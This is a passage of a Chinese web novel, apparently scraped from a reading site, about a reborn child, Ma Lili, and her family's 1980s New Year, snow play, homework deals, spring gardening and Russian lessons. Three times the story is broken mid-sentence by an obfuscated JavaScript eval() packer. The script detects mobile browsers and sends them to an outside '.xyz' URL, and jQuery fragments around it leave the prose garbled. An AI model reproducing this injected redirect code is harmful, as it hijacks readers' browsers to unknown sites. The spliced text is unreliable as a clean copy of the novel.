徐高远搓着手哈着气跑上楼，“哎呀，冻手，差点崩着我。” 孙梅也从隔壁回来，她端了一大碗饺子送到隔壁，是这么个意思。 闹哄哄都在桌前坐好吃饺子，马丽丽以为自己能吃下一大碗，没想到才吃了十个就撑的不行，只好遗憾下场。 外头的爆竹声从五点半到七点几乎就没断过，吵的人说话都不得不运足了气大声说，有点烦，可是没有了这个声后，又觉得过年都不是这个味儿了。 “咻，咻，咻……” “有人放烟花啦。”徐明红放下筷子就朝阳台去。 “等我会儿，慢点。”马丽丽像个小跟屁虫似的紧跟其后。 烟花真是不便宜，花样也不多，最常见的小烟花就是“小蜜蜂”、甩炮，二踢脚也算。大点的就是“冲天炮”，一根细纸管拿在手上，点燃就会“冲，冲”的发出一颗颗小火球在天上迸出不同颜色的火花。 就时几根冲天炮同时在不同楼发射，徐明红眼睛都要看不过来了，嘴里还不停念叨，“红色，黄色，红色，绿色……” 一会儿“烟花大会”结束，徐明红和马丽丽欲犹未尽的跳下小凳子，搓搓手哈口气，回房间去。 客厅里徐明红眉飞色舞的说这烟花有多好看，孙梅便问：“这么一根多少钱？”不贵的话就买两根，看把孩子给馋的。 徐明红估了估，“应该是八毛钱一个。” “多少？八毛钱一根？就这么嗖嗖嗖几下放完就没了？”孙梅吃了一惊，这也太贵了。 “十个，一根能放十个烟花。”马丽丽补充。 “这么贵！买不起，还是买那种小的，还多几个。”徐明惠也觉得贵，大人们默契的转移了话题。 大家都吃完了饭，收拾好碗筷，接下来就是激动人心的发压岁钱环节。 这对小孩子来说是个考检，因为在红包到手之前他们得说吉祥话，还不能重复。不过还好发压岁钱的人不多，徐明红拿到两个，马丽丽拿到一个。至于徐高远，没结婚的人不发红包，拿工资的人不收红包，所以压岁钱这事儿跟他没啥关系，只能干看。 马丽丽看看徐明红，转头向老妈伸手：“妈，我的红包呢？” 徐明惠拍了一下她的手，“自己家还给什么红包。”她反向马丽丽伸手：“你的红包妈帮你保管，存起来，以后交学费。” “想的美，我才不。”马丽丽嘟着嘴赶紧把红包折巴折巴塞进裤子口袋。 “你看看，红包都折坏了，快给我，我先拿着。” 马丽丽拿出红包，又拿出钱，然后把空红包塞给她妈。 徐明惠：“……” “你看看你，还问孩子要钱，这钱不就是给丽丽的吗？”徐正义不乐意了，“这一块钱红包能干嘛，丽丽自己收着买糖吃吧。” “爸，你就惯着她，小孩子还拿这么多钱，就会乱花。” 虽然这么说，徐明惠也没再要女儿上交压岁钱了。 收拾完一家人打着嗝看春晚，现在的春晚节目大多还是歌曲多，唱歌的也是只有歌手一个人，甚至一人还得唱好几首歌。没啥大合唱，虽然气氛好像不算热闹，但好听啊，都是当年最流行的经典歌曲，不一会儿全家人都跟着哼哼了。 80年代的小品之王还是朱陈组合，他俩可以说是小品的创始人，也是马丽丽最喜欢的组合。 整台晚会相声小品不多，每一个节目都很经典，表演者亲切、自如、信手拈来，逗得大家哈哈大笑，过年嘛，就是得开心，不像后来的语言节目，过年的段子都得给你整点教育意义，下头全是演的欢乐的明星们和面无表情鼓掌的群演，电视外的观众感觉尬得要抠出一个演播大厅。 马丽丽看得津津有味，然而却抵不住生物钟，春晚还没结束呢，她就已经睡着了。也不知道自己咋回的家，只是一大早天还蒙蒙亮呢，就被鞭炮声给吵醒了。 “啊！！！”马丽丽把自己卷起里面那床被子里，捂着头，她向下蠕动着，掀开被角，放了一个屁，又赶紧把被子捂严实，又蠕动着从上面探出头来。 外面鞭炮声此起彼伏，半夜十二点就已经放过一波了，这还没过几个小时又是一波。“吵死了。”这声音真是叫人又爱又恨。 马丽丽还想强行睡个回笼觉，可是这声音真是强行开机，怎么也睡不进去。马丽丽只好爬起来，从两床被子中间把棉袄棉裤毛衣毛裤掏出来，“斯哈斯哈”的穿上。 棉鞋是今年新做的，厚实的棉花有点挤脚，但是暖和的很，等明年棉花挤实了鞋空了就不就这么暖了。 “怎么这么早，不多睡一会儿？”徐明惠也才起，正刷牙呢。 马丽丽一脸怨念：“是我不想睡吗？这么吵也睡不着啊。”她想起来又跑到客厅去看钟，顿时哀嚎：“才六点，这些人怎么肥事嘛，干嘛这么早放爆竹！”然后又去问妈妈：“我们家还有爆竹吗？” 徐明惠：“……有……” “给我我也要放！”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14999127|160363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 徐明惠心想，这小孩都怎么回事？ “不行，你不能放爆竹，太危险了。” “那你跟我去，给我放。” “我不去。” 马丽丽气哼哼却也无法，她刷完牙洗完脸，发现自家老爸竟然还躺在床上呢。 “爸爸爸爸，起床啦。”马丽丽跳起来拍在被子上，马天华才不理她呢。马丽丽又想起一个好玩的东西，她打开阳台门出到阳台，过堂寒风把马天华冷得一哆嗦，他磨了磨牙，又往被子里缩了缩。 昨天晚上下了一晚上小雪颗子，映得亮堂堂的，想来今天又是小孩子们狂欢的一天。 昨天洗的衣服全都晾上了，冻了一夜，全都硬邦邦的。马丽丽轻轻捏了一下一只裤腿，裤子发出“咯吱”的清脆响声，一小片冰碴“窸窸窣窣”的掉下来。马丽丽眼睛一亮，她踮起脚一把撸下裤管，“沙沙沙沙”一阵冰碴子落下，小手冻得通红又有些疼。 马丽丽用力蹬了蹬小凳子，然后爬上去，一件衣服一件衣服捏过去，阳台上顿时响起延绵不绝的“跨擦跨擦”“咯吱咯吱”“窸窸窣窣”“擦擦擦擦”。 开心~ 马天华在屋子里忍不住大吼：“马丽丽，你给我把阳台门关上！” 徐明惠闻声而来，一把把马丽丽抱下来，然后发现她一双手又红又冰，“哎呦喂，你看看你这手，你是不怕生冻疮啊，知道什么是冻疮吗？到时候又痛又痒，有你受的。” 徐明惠赶紧的在盆里到上水，先是冷水，马丽丽把手放进去，竟还觉得水有些温热，泡了几分钟，徐明惠慢慢的加进热水，马丽丽感觉手指刺痒刺痒的，“热了妈，等一下加啦。”她用力抓握手指加速血液循环，等感觉好多了之后再让妈妈加了点热水。 “你可真行啊马丽丽，以后不许再玩雪了。” 马丽丽低头不语。 不玩雪是不可能的，下次还不知道啥时候能有雪呢。 “妈，我刚才看到下面有雪耶，我去挖一点好不好？” “不行，你看你这手，而且你还没吃饭。” “就一会儿，我上来就吃，我要去啦。” 徐明惠坳不过女儿，给她一个锅铲和一个搪瓷盆，“就一会儿啊，稀饭我都煮好了，你不上来一会冷了吃了可拉肚子。” “知道啦。” 穿得圆滚滚的马丽丽拿着铲和盆走下楼去，在水泥墩子上把上面那层干净的雪铲到盆里，她正挥舞着铲子好像还没一会儿呢，就听见老妈在大叫了。“马丽丽，你还不回来？” 然后另一栋楼传来一个男孩子惊恐又焦急的叫声：“马丽丽你在干嘛啦！你都把雪铲完了！” “才没有。”马丽丽回了一句，看盆子满了，她端着盆子向自己家一摇一摆的走去。 “妈……”男孩扭头回房间里头，也不知他跟他妈妈说了什么，很快那家就传来呵斥声。 啊，罪过罪过。 天上又下起了小雪，纷纷扬扬，轻轻柔柔，并不是之前的小雪颗子，而是一小团一小团的雪。 马丽丽伸出锅铲，一小团雪落在了铲子上，她举到面前仔细看，小小的雪花六个瓣，许多小雪花抱在一起形成松松的雪团，哇，这才是真的雪啊。 小雪花洋洋洒洒下了一上午，却给孩子们带来了一个冬天的快乐。 其实也没有，很多孩子的快乐只持续到假期结束前两天，孙甜甜的快乐要更短一点，她的爸爸孙伟名在准备回粤市的前两天发现她来幸福小镇几天，寒假作业那是一点没做呀。 玩的时候是真开心，挨骂的时候也是真骂。 20.第二十章 家里有些乱糟糟的，孙伟名就直接把女儿打包到隔壁，徐正义知道后也过问了一下徐明红的寒假作业……挨骂的人又多了一个，于是两人又被打包去了徐明惠家。 马天华的年假结束已经上班去了，家里没有电视，还有徐明惠一个老师，孙伟名对这学习环境很满意。 他是见过马丽丽的学习劲头的，大年初一来家里拜年的时候马丽丽就跟老爸约好了从年初二开始每天上家里头来继续学俄语，从八点到九点半，孙甜甜还没起床呢，人家课都上完了。 孙伟名围观了一次，这课上的还挺有意思，一来通常马丽丽会先唱个俄语歌，哦，对，人家还天天听俄语电台广播，唱完之后老爷子还会纠正一下发音。 然后老爷子拿一本工学资料当教材给人家小孩上课，读书、听写、默写，一个都不少，之后休息一下，两人就开始用俄语简单的对话，说错也没事，老爷子不停的纠正发音纠正发音纠正发音。 孙伟名是一个字也没听懂，但是两人对话还会比划或是画画，这他是看懂了，就是吧，这是学俄语的正确姿势吗？看看这画的都啥，电池、电线、开关和灯泡，各种排列组合，电容和电阻，串联和并联。 孙伟名：？？ 嗨，反正应该是学着玩的。但就是有了马丽丽这个“别人家的小孩”做榜样，孙伟名才放心的让女儿去她家补作业。 在马丽丽家，三人趴在客厅的饭桌上，孙甜甜倒是挺老实的，一来就低着头写作业，但徐明红就不行了，一会儿要喝水，一会儿要上厕所，一会儿说凳子太高，一会儿说太冷了冻手……徐明惠在客厅放好杯子，热水壶，又把她俩的课本全堆在桌上，自己就坐在旁边，徐明红这才苦着脸老实写字。 马丽丽在用水洗布字帖写大字，这玩意儿练书法很方便，干了字就消失，能重复使用，马丽丽手短笔长，她也不在意，反正时间还长，坚持下去怎么也比她以前那手鬼画符好吧？ 曾经她认为电脑手机出现后写字已经不再那么重要了，但工作后却发现虽然写字的机会少了，可是如果能写一手好字还是一件十分占优势的事。 更何况等她读小学后，还有书法课呢，书法课的毛老师，未来可是章省书法协会副主席，啊，赶紧薅羊毛。 说起来子弟学校不大，里面的老师还有挺多人才，教数学的李老师写得一手跟印刷似的正楷字，教美术的习老师未来画了一副以电厂为主题的获奖作品，教音乐的杨老师教出了几届的章市舞蹈冠军，教体育的江老师是全市跳高记录的保持者。 教英语的邓老师和教语文的胡老师是俩口子，他俩的儿子未来移居美国，他俩也跟去了，据说在当地传播中国文化，还组织华人跳广场舞呢。 还有一些后来转政颇有成就的老师更是无庸赘述。 马丽丽“画”完一张大字抬头，只见左手边的徐明红同学正在一边抓耳挠腮一边写写划划，对面的孙甜甜一脸深仇大恨的翻着书半天落不下笔。 马丽丽扭头，原本坐在旁边的妈妈不知道啥时候去房间了，她又伸头去看徐明红的作业，啊，好熟悉的小明与小红从两边向着中间走，他们还一起去水池一个加水一个放水，根号开方，正负约分，XXYY……这是初中数学？哦，小姨不是80后，那没事了。 马丽丽伸手指一点，“小姨，你这题错了。” “哈？你怎么知道？”徐明红赶紧去看。 “五七三十五，这最后一个数应该是五，你是七肯定不对啊。”这玩意还用算，不是有眼睛就行吗？ 徐明红重新一算，还真是，她用擦皮把答案改了，“还有哪？” “还有这，这里不是有X的平方……”等会儿，我在干嘛啊？马丽丽讲完后深深的怀疑自己是不是脑子进水了。 “那这题是几？”徐明红又问。 马丽丽不说话，她刚才写的字干了，字帖又能用了，她重新拿起毛笔沾沾水。 “干嘛啊？”徐明红不满。 马丽丽慢悠悠的说：“我只是三……四岁的小孩，怎么知道你的作业，小姨，你现在初一了好吧？” “切。”徐明红揭穿她，“你妈，”她看了看房间，压低声音，“你妈不就是教初中数学的，你还不会，别给我里个啷，帮我做，想要啥直接说。” 马丽丽死鱼眼看过去，我妈是数学老师我就会？她还是你姐呢你咋不会？不过她也不矫情，同样压低声音道：“给你做数学作业，一块钱。” “什么！你怎么不去抢？你的压岁钱呢？”徐明红气结，她倒是有这一块钱压岁钱，她今年得了五块钱，都没上交。但这一年也就这一次手里头能见大钱的机会，她过了年都十四了，以后得压岁钱的机会也越来越少了，徐明红特别舍不得。 舍不得就算了，马丽丽也不在意，她又开始写字，说：“我的钱都给我妈了啊，今年咱家不是借了钱给姥爷看病吗？”所以她就留了两块钱，其他都上交了。 徐明红闻言心虚了一下下，这事她也知道，但心里却完全没觉得跟自己有啥关系，家里头跟钱有关的事是一向不对小孩说的。 徐明红心里头很纠结，就一寒假作业，还要花钱让外甥女帮忙做，感觉好亏啊，自己也能写的嘛……可是自己写真的好难QAQ “那，那一块钱你都帮我写了。”徐明红心里头滴血。 “一块钱，数学帮你，你可以直接抄，不会的我可以帮你问我妈。”马丽丽干脆的说，服务态度特别好。 “那语文和英语呢？” “语文还用我帮忙？那不是会说话就会的吗？”马丽丽震惊，她上辈子就是学文科，语文高考一百五的卷子她一百二十八，主要是没怎么放精力在这上面，她那时候的重点是数学和英语。 徐明红：“……”气死个人。 徐明红恼羞成怒：“你就说行不行吧。” 马丽丽试探着问：“那英语呢？” 徐明红：“那你也帮我写？” 马丽丽：“小姨，你还要脸吗？” 徐明红撇嘴，“你不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15011754|160363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是天天跟孙爷爷学毛子话吗？我听说那可难了，英语对你来说不在话下吧？” 马丽丽：“那都不是一国的话……英语我有在学一点点，但是你学的单词我不一定知道哇，这怎么帮忙？” 徐明红气馁，“可恶，为什么要考英语嘛，听说以前都不用的。” 马丽丽：“以前不考英语，但是考鹅语哦，这比英文难多了。”她说了一个今天早上学的俄语单词，“你试试。” 徐明红：“……”算了算了。 这时一直在围观的孙甜甜突然问马丽丽：“我给你一块钱，你能帮我写吗？” 马丽丽/徐明红：“哈？” 孙甜甜翻过寒假作业来给马丽丽看，她还是小学五年级，作业比初中的容易多了。 马丽丽无语，“甜甜姐，你今年夏天都要小升初了，还要我帮你写寒假作业？” 孙甜甜茫然了一下，“不是啊，我明年，不对，下学期是六年级，再学一年才是初中呢。” 马丽丽/徐明红：“啥？” 她俩一起去拿孙甜甜的课本，果然是六年制的，跟游江子弟学校不一样，游江子弟学校小学是五年制。 “哇。”马丽丽和徐明红都没见过，课本内容其实差不多，不过马丽丽还是觉得挺稀奇的，她小时候还一直有个疑惑，明明是九年义务教育，为什么她初中毕业算算只学了八年？她还以为这是后来才出现的，现在才发现，原来这个时候就有小学要上六年的。 马丽丽快速翻看了一下，怎么说呢，真是深感觉怀念，五年级的数学语文还是很简单的，哎，越是往后教材也越难了起来。 简单翻看了一下，马丽丽点头，“可以，不过你不可以告诉别人。” 孙甜甜二话不说，从脖子里拉出一个小钱包，里面是一卷钞票，大小都有，她抽出一张两块钱递过来：“帮我写两门。” 马丽丽：……大姐，你就两门吧？ 马丽丽：“时间不够，先写一门。” 孙甜甜遗憾的收回钱，又换了一张一块钱，“那好吧。” 马丽丽接过钱随意的塞进口袋，“哪个？先说好，语文不写作文，数学不做应用题。” 孙甜甜斩钉截铁：“语文！”作文只有一篇，应用题每页都有呢。 徐明红大为惊讶：“不是，你们就决定啦？”她问孙甜甜：“她才四岁耶你觉得她就能帮你写作业？要钱哎。” 孙甜甜当然相信，就冲马丽丽天天早上来她爷爷家唱外语歌她就信啊，而且“她刚才不是看过我的课本了吗？我看行。” 徐明红：“……” 马丽丽才不理呢，她对孙甜甜说：“你拿个纸本子来，从后面写，大一，就是第一面，然后1，后面有几个空你也划几个空，呆会儿我告诉你你自己写。” 孙甜甜：“啊？为啥？”干嘛不直接写作业上？ 徐明红：“笨，你一会儿就写完了，你爸信不？” 也是，孙甜甜找了一个草稿本，按马丽丽说的做。 21.第二十一章 这时房间里突然传来动静，三人立马重新摆好姿势。徐明惠走出来上了个厕所，又过来倒热水，她看了看三个认真写字的人，问道：“你们冷不冷？要不要吃点东西？” 孙甜甜：“不用。” 徐明红：“要。” 马丽丽：“有什么吃的？” 徐明惠想了想：“有烧卷子，还有麻桶，豆角子，要吗？” 马丽丽：“我要吃香肠。” 徐明惠：“……？”不是，这玩意儿是当菜吃的，干吃不咸吗？ 徐明红：“嗳？有香肠？我也要。”肉肉肉！ 徐明惠只好去切了一节香肠蒸了一会儿热一热，切片，三个女孩子也不用筷子，洗洗手直接拈着就吃了，啊，果然很咸，于是又喝水又上厕所，总之就是做作业休息的流程一套完成之后，大家这才各归各位。 大家吃东西的时候徐明惠翻了翻两人的寒假作业，最后说：“我在房间里，不懂的可以来问我。” 徐明红道：“我们自己做啦。” 徐明惠瞪了她一眼：“赶紧做，你看你才写了多少？” 徐明红不服气的说：“我认真起来写很快的。” 等徐明惠回房间去了，徐明红假假的大松一口气，扭头对马丽丽小声说：“看你的了。” 马丽丽翻了个白眼，“今天肯定不行啦，你自己做。” 徐明红气哼哼，先头马丽丽要钱代写作业她觉得吃亏，可是看马丽丽给孙甜甜写作业她也觉得自己亏了。 马丽丽不是作业派，知识嘛，会就行了，不需要用作业填充时间，所以她代写作业毫无压力。 五年级的寒假作业跟低年级时没什么差别，都是看拼音写字写词语或是写字和词的拼音或是判断拼音的对错，呃……这个对粤省学生好像真的有点难度，然后就是写成语啦，造句啦，练习修辞手法啦，缩句啦扩句啦，近义词反义词啦，修改病句啦，等等。马丽丽把答案说的飞快，好像不用思考似的，孙甜甜写都写不及，还有不会写的字，马丽丽就飞快的翻字典找到指给她看。 徐明红在旁边从目瞪口呆到兴奋不已到跃跃欲试到迫不及待。 “快快，帮我帮我。”徐明红小声BB。 马丽丽：“都说了以后再说，今天肯定没时间啦。” 徐明红：QAQ 赶在中午回家前，孙甜甜的寒假作业语文大部分已经差不多写完了，剩下的无所谓，马丽丽说总得空一点，写太对老师容易怀疑。 孙甜甜：你说什么都是对的！ 孙甜甜誓死保护这本草稿本。 马丽丽告诉徐明红：“你自己做，不会的我再告诉你，如果少的话就不收你钱。” 马丽丽想，上一世因为姥爷早早去世，电厂照顾徐家，徐明红还没有高中毕业就直接顶了徐正义的班上班去了，也无所谓学的好不好。这一次徐正义大概率还能活挺久，徐明红可能还得继续读完初中读高中，读完高中读技校，然后才能回电厂，啊，还是多学点好。 马丽丽其实也不知道，徐正义这会儿也就是等小女儿成年了就退休让她顶班的，只是大家都不想让徐明红放松了学习，这才没告诉她。 徐明红纠结的是她既不想给钱，又想让马丽丽帮她做作业，当然她也知道世界上没这么好的事，马丽丽愿意免费帮忙，她自然是开心的很，完成没有意识到作业还是得自己做。 过了元宵就能真正感觉到春天了，什么“草色遥看近却无”，什么“绿柳才黄半未匀”，什么“昨夜一霎雨虚庭草争出”，这些都是只有在自然之中山野之地才能感觉到的，城市里那一小片绿化带你就没办法“遥看”，所以就“无”了。 马丽丽的卖鸡毛大业结束于元宵后的第一个挑担小贩，在姥姥的帮助下几大包鸡毛放在了小贩面前，他眼神都直了。 “大姐，你怎么弄了这么久鸡毛？你家养了多少鸡？”小贩一边称一边问。 “害，这不是过年嘛，主要也是太久没人来收了。”孙梅含糊的说。 小贩称完算了算，一共十三块五毛七分。他苦笑：“大姐，接你这趟我算是白跑了，钱都给你一人赚啦。” “瞎说，”孙梅一边数钱一边说，“这钱还能给我赚完？你能少跑几个地方还不得谢我？行，没错。” 小贩挑起担子颠了一下，“得了，这十多斤的鸡毛，我还是第一次收到咧。” 小贩走后，孙梅把钱给马丽丽：“来，收好，这可是你赚的钱呢。没想我们丽丽还挺能耐，收了这么多鸡毛。” 马丽丽只拿了零钱，把十块钱给姥姥，“姥，你收着，还钱用。” 孙梅惊讶道：“你个小精怪还知道借钱还钱？你自个收着，这点钱能干啥呢，不然让你妈给你存着。” 马丽丽：“不要，压岁钱我都给我妈了，这钱就存你这儿，鸡蛋不能放在一个篮子里，懂不？” “哎呦，还一套一套的。好，我帮你存着。”孙梅把钱放口袋里。 “不要不要。”马丽丽摇手，“买肉吃掉。” “哈哈，好好，买肉买肉，我们丽丽是个爱吃肉的，你要吃咱就买。” 虽然依旧还冷的很，也冻手，菜地里留着的萝卜白菜都差不多吃完了，没拔出来的也已经老的不行，但是野菜野草都冒芽了。 荠菜、灰灰菜、蒲公英、苦菜，只有嫩尖好吃，得抓紧时间。等感觉到风变得温暖之后，春笋、水芹菜、蕨菜、香椿、艾叶也可以吃了，有些还一直能吃到春天结束。 再往后新鲜菜都上市了，韭菜、鸡毛菜、菠菜、油菜、莴笋，还有，唉，包菜又见包菜，马丽丽深恶痛绝的包菜。 虽然野菜大人们都不愿意再吃，但是马丽丽却正是新鲜的时候，每到下午，马丽丽跟着姥姥或是老爸老妈去菜地，大人们忙着地里头的事，她就在一旁使劲的爬香椿树，或是拔蕨菜，挖野菜。 孙梅和徐明惠都在山上开了几块菜地，春天正是忙的时候，松土、堆垄、上底肥、播种，浇水、锄草。 先撒的小白菜、萝卜等等长的快的，长大一点点就拔了吃一波苗菜，之后菠菜、韭菜、芹菜就接上了。 清明前后，种瓜点豆。南瓜、黄瓜、苦瓜、丝瓜，眉豆、豌豆、长豆角、四季豆一个都不能少，全种在最靠边的菜地里，这是为了方便搭架子。 还有西红柿、茄子、辣椒，当然葱姜蒜也不能少。 几块菜地种得满满当当，大人们闲暇休息的时候就帮马丽丽整点她喜欢的野菜，回家用开水一焯，或是用盐抓一抓，有的炒蛋，有的炒肉，有的凉拌，有的煮汤。 马丽丽：真是太鲜了。 大人：好好的菜不吃吃野菜，以前没粮吃的时候可吃的够够的了。 水果特别稀少，但也不是没有。枇杷树 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15016825|160363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到处都有，也不是谁种的，都是野树，枇杷果子长得高又多，去摘的人很少。马丽丽让徐明红用“帮做作业”为报酬指挥班上的男生爬上去摘了许多，两人仔细的把枇杷的枝叶都扔了，只带着果子满载而归。 比起专门培育过的鸡蛋大却没什么滋味的枇杷来说，这种枇杷皮厚肉少核大，但又酸又甜汁水足，两人吃得一本满足。 徐正义见小女儿和外孙女都喜欢水果，便托人买了几棵桃树枇杷树苗，叫上大女儿一家，在小楼前后围着的小菜园里都种上一两棵。他摸着马丽丽的脑袋说：“这桃子和枇杷长的都快，等你这么高的时候，就差不多能吃了。”他比划了一下。 马丽丽重重点头，“嗯！” 徐明惠直起腰：“先前我还说种来着，过年一忙就给忘了。” 马丽丽：“这说明咱们可就是一家子人嘛。” 姥爷：“哈哈哈哈，小鬼头。” 姥爷说的没错，“桃三杏四梨五年，枣树当年就换钱”，等她读小学，桃子就长成了，可惜除了桃子其他几种水果本地都没有。 不过没关系，别看这两棵桃树又瘦又矮也不是那种经过培育后的果树，打的毛桃子又小又青，还没巴掌大，但是再等两年，毛桃子就会又脆又甜，好吃的很。 反倒是那两棵枇杷，姥爷看走了眼，打果子完全随缘，好几年都没有结果，树长得斜斜的伸出墙头悬在小河上，后来打的果子还都长在河上，摘也没法摘。 望枇杷生叹，就很气。 种完树，拍拍泥巴，把锄头洗洗放回去，大家一起去吃鱼。 今个儿这鱼可不一般，“西塞山前白鹭飞，桃花流水鳜鱼肥”，今天吃的就是这个鳜鱼，也叫桂鱼，越往后就真的变成了“贵鱼”，在马丽丽记忆里，十五岁后家里头买鳜鱼的次数一只手都数得过来，就，只偶尔吃席的时候遇到过。QAQ 鳜鱼在小镇被叫作石斑鱼或是石纹鱼，因为它灰色的背上长着像石头一样的小斑点，因为不喜欢群聚又生活在水草里或是石壁边，撒网都没办法捕捞，就只能靠钓鱼佬的实力和运气这样子。 现在春天正是鳜鱼鲜嫩的时候，就是有点小贵，不过也不会贵到哪去，毕竟鱼谁都能去钓，当然，想买的人也只能靠钓鱼佬的运气，还得先打好招呼。 孙梅就跟一个认识的钓鱼佬预约了整个春天的鳜鱼，今天运气是真的好，一上午钓鱼佬就钓到两条鳜鱼，孙梅拿到手后送了隔壁一条。 这鱼肉嫩少刺，据说还能补气血，田文珠推辞了半天，最后想到自家老头子，还是收下了。 剩下的一条孙梅就直接蒸了一会儿，鲜嫩出锅，放点葱姜蒜和酱油这就行了。 最嫩的腮后肉和肚子肉都给了徐正义，医生说过刚做完手术第一年很关键，要加强营养，剩下的人瓜分了鱼背和鱼尾，马丽丽把一个鱼头啃得津津有味。 “看这个。”马丽丽举起啃下来的一整副鱼牙齿给徐明红看。 鳜鱼是肉食动物，牙齿又密又尖，徐明红被恶心了一把，汗毛直竖，“赶紧拿走！噫~你好恶心。” “哈哈哈哈。”马丽丽恶作剧成功，哈哈大笑，旁边姥爷微笑着夹了一块鱼肚子塞进她碗里，“好了，吃东西的时候别玩，赶紧吃饭。” “哦。”马丽丽扔掉鱼骨头快速扒饭，筷子舞到飞起，饭粒子四处飞溅，又被她用手捻起塞进嘴巴里。 22.第二十二章 一条两斤多重的鱼被吃了个精光，不光肉，鱼骨头都被夹起来嗦了一遍，底下的汤水也被徐高远倒出来拌饭吃了。 见大家都爱吃，孙梅安慰道：“这鱼好吃，我跟钓鱼的老赵说了，下次有还留给我。” 徐正义有一搭没一搭的夹着菜，“吃什么鱼不都一样，这么贵的鱼，下次买别的吧。” 孙梅说：“又不是给你吃，你看丽丽也爱吃鱼头呢，鱼眼睛明目，鱼脑子吃了聪明，是吧丽丽？” 马丽丽心中内牛，嘴里还说：“啊，对对对，我就喜欢吃鱼头。”鱼头以下部位我也喜欢啊。 徐正义撇了马丽丽一眼：给你个眼神自己体会.jpg 徐高远：“这鱼好吃就多买几次嘛，都不够吃的，你看吃的多光啊，再说又不是总有。” 徐正义没好气的说：“不就是你把盘子舔这么光的吗？” 徐明红：“哈哈哈哈……” 马天华也打了个圆场：“哎爸，这鱼你吃了好，今年你不还去复诊吗？得多吃点有营养的，现在这鱼啊笋啊都当季，上次还有一个看病的老表问我要不要笋，我让他挖了些，等到了我拿点来，这笋有什么氨基酸维生素的，咱们也多吃几次。” 徐正义见儿子女婿都这么说，这才没了话。 过了几天，马天华果然抗回了一大麻袋大大小小的笋来，连壳带泥的差不多有百来斤，孙梅和徐明惠忙了大半天，又洗又剥的，笋壳外带有小刺，特别难弄。还有一种小笋，长大的竹子也是细细的，吃起来清脆爽口，可是得一根一根剥，废时废力。 剥了能吃上两三天的笋，剩下的就直接扔在厨房台子底下，不然容易坏。孙梅让马丽丽去隔壁上课的时候也带了一根剥好的笋，正好能吃两天。 “你姥姥怎老拿东西来，这么客气。”田文珠接过笋“埋怨”道。 “现在就是吃笋的时候嘛，田姥姥，我跟你说，笋尖炒腊肉可好吃了，炖汤炒肉都好吃，不放肉油焖也好吃，簌……”再说口水都要下来了。 田文珠乐的不行：“好好好，呆会啊，就在我这吃饭，尝尝田姥姥的手艺。” “好呀好呀！” 孙振华走过来，举着一本旧书用俄语说道：“那么在吃饭之前，我们来复习一下，顺便给你看一本名著小说，你听说过《静静的顿河》吗？很有名，很好看。” 马丽丽：“……啥书？” 搞清楚书名后马丽丽心中大汗，关于这本书的记忆她唯有一句，“那本《静静的顿河》我看到一半就顿住了”，啊！她真的能看下去吗？ 念了一小段，马丽丽提出抗议，她不喜欢也读不懂。 “好吧。”孙振华放下书，“那你想读什么？” 过年时儿子开玩笑说的话孙振华听了也觉得有道理，拿几十年前儿子上学时的俄语教材就算了，机电工具书来当读物好像是不大行，只是孙振华也没有什么好的主意，当然没有原文书也是一个大问题。 马丽丽想了想，“我们可不可以读故事书？中文的啦，你教我用毛子话来念。” 孙振华：“不好。”小孩子的书，没意思。 马丽丽：“那你翻译一下新闻联播。” 孙振华：“不行。”我有这本事吗？ 马丽丽：“这也不行那也不行，那你说一个……这种小说不要。” 孙振华还真想出来一个，他站起来去房间里，吃力的爬在地上去拉床底的一个箱子。“我来我来。”马丽丽麻利的匍匐进床底，把一个不大不小的木头箱子拉了出来，“什么东西，还挺沉。” “是你孙叔叔小时候喜欢的东西。”孙振华打开箱子，里面是一箱子小人书。 “哇~”马丽丽两眼放光，她薅了一本看了一下封面，哎嘿，是没有看过的。 孙振华在箱子里翻找了一阵，找出几本小人书来，“咳咳，怎么好像少了？” 他看了看，有些懊恼：“是少了两本。”不过问题不大，孙振华把小人书给马丽丽看，“这个怎么样？” 马丽丽伸过头去看，原来是一套外国童话的小人书，一个故事就是一本，第一本就是《渔夫和金鱼的故事》。 “还有什么故事？”马丽丽歪头去看书脊。《列那狐的故事》《谢米昂七兄弟》《丑小鸭》《小红帽》《糖果屋》，啊还真是眼熟呢，真是各国童话一网打尽。 孙振华顺手翻了翻，拿出一本递给马丽丽：“看看，看得懂吗？有没有不认识的字？” 那必须没有，马丽丽翻起来，啊，多么早古的画风，写实中带着可爱，脸上的狡猾，眼神中的贪婪，身体上的细节画的都很到位，真是厉害。 很多小人书的画手其实都是大家，不历害都出不了书。 孙振华敲了一下马丽丽的头，“你还看起来了，看来是都认识，这样吧，你就用学的俄语把这个故事跟我讲一下，有什么不认识的字就问我。” 马丽丽：“哈？”手里的小人书都不香了。 